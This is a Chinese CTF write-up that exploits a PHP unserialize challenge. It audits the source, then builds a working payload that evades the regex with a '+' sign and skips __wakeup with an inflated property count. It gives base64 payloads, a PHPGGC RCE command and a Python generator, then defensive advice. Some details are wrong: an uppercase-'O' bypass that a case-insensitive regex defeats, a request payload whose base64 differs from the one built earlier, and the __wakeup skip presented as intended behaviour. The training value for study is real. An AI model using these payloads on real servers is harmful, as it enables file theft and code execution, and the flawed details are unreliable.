1. 题目背景与核心考点解析
这道来自攻防世界的"Web_php_unserialize"题目,是CTF比赛中典型的PHP反序列化漏洞实战场景。作为Web安全领域的经典题型,它考察了以下几个核心知识点:
- PHP反序列化机制的工作原理
- __wakeup()魔术方法的特性与绕过技巧
- 正则表达式过滤的常见规避方法
- 利用POP链构造攻击载荷的思路
我在实际解题过程中发现,这道题的特殊之处在于它设置了多层防御机制,需要逐步分析突破。下面我将详细拆解每个环节的解题思路和具体实现方法。
2. 代码审计与漏洞定位
2.1 题目环境初步分析
首先我们拿到题目提供的源码:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>2.2 关键漏洞点识别
通过代码审计可以发现三个关键点:
- 反序列化入口:通过GET参数var传入,经过base64解码后直接反序列化
- 安全防护:
- 使用preg_match过滤了类似"O:4:"这样的对象序列化字符串
- 定义了__wakeup()方法,会在反序列化时自动调用
- 攻击目标:通过控制$file属性实现任意文件读取
3. 漏洞利用链构造
3.1 绕过正则过滤
首先需要绕过preg_match('/[oc]:\d+:/i', $var)这个过滤。PHP序列化字符串中,对象的标准表示是:
O:<类名长度>:"<类名>":<属性数量>:{<属性>}过滤规则匹配的是"o:数字:"或"c:数字:"这样的模式。我们可以通过以下方法绕过:
- 在数字前添加"+"号:O:+4:"Demo":1:{...}
- 将对象序列化字符串改为大写的"O"
经过测试,使用"+号"方法最为可靠:
$serialized = 'O:+4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";}';3.2 绕过__wakeup限制
__wakeup()方法会在反序列化时自动调用,它会将$file重置为index.php。我们需要绕过这个限制:
- 修改属性数量:当序列化字符串中声明的属性数量大于实际属性数量时,__wakeup()不会执行
- 对于private属性,需要注意序列化后的格式差异
private属性在序列化后会带有类名前缀和空字符,例如:
s:10:"Demofile"其中10是字符串长度,"Demofile"是"\0Demo\0file"的表示(\0是空字符)
3.3 最终Payload构造
结合以上两点,构造最终payload的步骤:
- 创建恶意对象:
class Demo { private $file = 'flag.php'; }- 序列化时修改属性数量:
$serialized = serialize(new Demo()); $exploit = str_replace(':1:', ':2:', $serialized);- 处理private属性格式:
$exploit = str_replace('Demofile', "\0Demo\0file", $exploit);- 添加+号绕过过滤:
$exploit = str_replace('O:4', 'O:+4', $exploit);- 进行base64编码:
$payload = base64_encode($exploit);最终生成的payload类似:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==4. 实际操作与验证
4.1 完整攻击流程
- 使用PHP交互模式构造payload:
php -a在交互环境中执行上述构造代码,得到最终payload
发送请求:
http://靶机地址/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbWvAZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==- 查看响应内容,获取flag.php的源代码
4.2 常见问题排查
- 如果返回空白页面:
- 检查private属性的空字符处理是否正确
- 验证base64解码后的字符串是否符合预期
- 如果触发"stop hacking":
- 确认是否成功绕过了正则过滤
- 尝试在数字前添加不同数量的+号
- 如果仍然显示index.php:
- 检查属性数量是否修改正确
- 确认__wakeup()是否被成功绕过
5. 防御方案与安全建议
5.1 安全开发建议
- 避免直接反序列化用户输入
- 使用json_encode/json_decode替代序列化操作
- 如果必须使用序列化,应进行严格的输入验证
5.2 加固方案示例
// 安全的反序列化实现 function safe_unserialize($input) { if (!is_string($input)) { return null; } // 检查输入长度 if (strlen($input) > 1024) { return null; } // 白名单类名检查 $allowed_classes = ['SafeClass']; $data = unserialize($input, ['allowed_classes' => $allowed_classes]); // 验证反序列化结果 if (!is_object($data) && !is_array($data)) { return null; } return $data; }6. 技术原理深入分析
6.1 PHP序列化格式详解
PHP序列化字符串各部分的含义:
- a - array
- b - boolean
- d - double
- i - integer
- o - 对象 (已弃用)
- O - 对象
- s - string
- C - 自定义对象
- r - 引用
- N - null
对于对象序列化:
O:length:"classname":NN:{...}其中NN表示属性数量,正是利用这个值来绕过__wakeup()
6.2 __wakeup绕过原理
PHP官方文档说明:
当反序列化字符串表示的对象属性数目与实际不符时,__wakeup()不会被调用
这是PHP的一个特性而非漏洞,但在安全场景下可能被利用
6.3 private属性处理机制
private属性在序列化时会添加类名前缀和空字符:
class Test { private $var = 'value'; } // 序列化后变为: O:4:"Test":1:{s:10:"Testvar";s:5:"value";}其中"s:10:"表示长度为10的字符串,实际内容是"\0Test\0var"
7. 同类题型扩展思路
7.1 其他魔术方法利用
除了__wakeup,还需要注意:
- __destruct:对象销毁时调用
- __toString:对象被当作字符串使用时调用
- __call:调用不存在方法时触发
7.2 POP链构造技巧
Property-Oriented Programming链构造要点:
- 寻找合适的起点(如__destruct)
- 分析类方法与属性之间的调用关系
- 通过属性控制实现方法调用链
- 最终到达危险函数(如system、eval等)
7.3 实际CTF中的变种
常见变种题型:
- 多重过滤条件组合
- 需要自行寻找包含漏洞的文件
- 结合其他漏洞类型(如SSRF、XXE等)
- 限制字符集的payload构造
8. 工具辅助与自动化
8.1 PHPGGC工具使用
PHPGGC是一款PHP反序列化payload生成工具:
./phpggc -l # 列出可用gadget链 ./phpggc Symfony/RCE4 exec 'cat /flag' > payload.txt8.2 自定义payload生成脚本
import base64 import re class PayloadGenerator: def __init__(self, classname, filename): self.classname = classname self.filename = filename def generate(self): payload = f'O:{len(self.classname)}:"{self.classname}":2:{{s:{len(self.classname)+5}:' payload += f'"{chr(0)}{self.classname}{chr(0)}file";s:{len(self.filename)}:"{self.filename}";}}' # 绕过O:数字过滤 payload = payload.replace(f'O:{len(self.classname)}', f'O:+{len(self.classname)}') return base64.b64encode(payload.encode()).decode() # 使用示例 generator = PayloadGenerator('Demo', 'flag.php') print(generator.generate())9. 学习资源与进阶方向
9.1 推荐学习资料
- 《PHP反序列化漏洞深入解析》- 豆瓣读书
- OWASP PHP反序列化备忘单
- PHP官方文档中的序列化相关章节
9.2 实验环境搭建
建议搭建本地测试环境:
- 安装PHP CLI环境
- 创建测试脚本验证payload
- 使用Docker搭建漏洞靶场
9.3 CTF实战建议
- 从简单题目入手,逐步提升难度
- 建立自己的payload代码库
- 参与线上CTF比赛积累经验
- 学习优秀选手的writeup解题思路
10. 个人实战心得
在实际解题过程中,我总结了以下几点经验:
- 细心观察序列化字符串的每个细节,特别是长度值和特殊字符
- 对于private/protected属性,要特别注意其特殊表示方式
- 多尝试不同的绕过方法,有时候最直接的方法反而有效
- 善用PHP交互模式快速测试payload
- 遇到问题时,可以分阶段验证每个绕过点是否成功
一个实用的小技巧:在测试payload时,可以先在本地环境验证反序列化结果,确认无误后再应用到实际题目中,这样可以节省大量时间。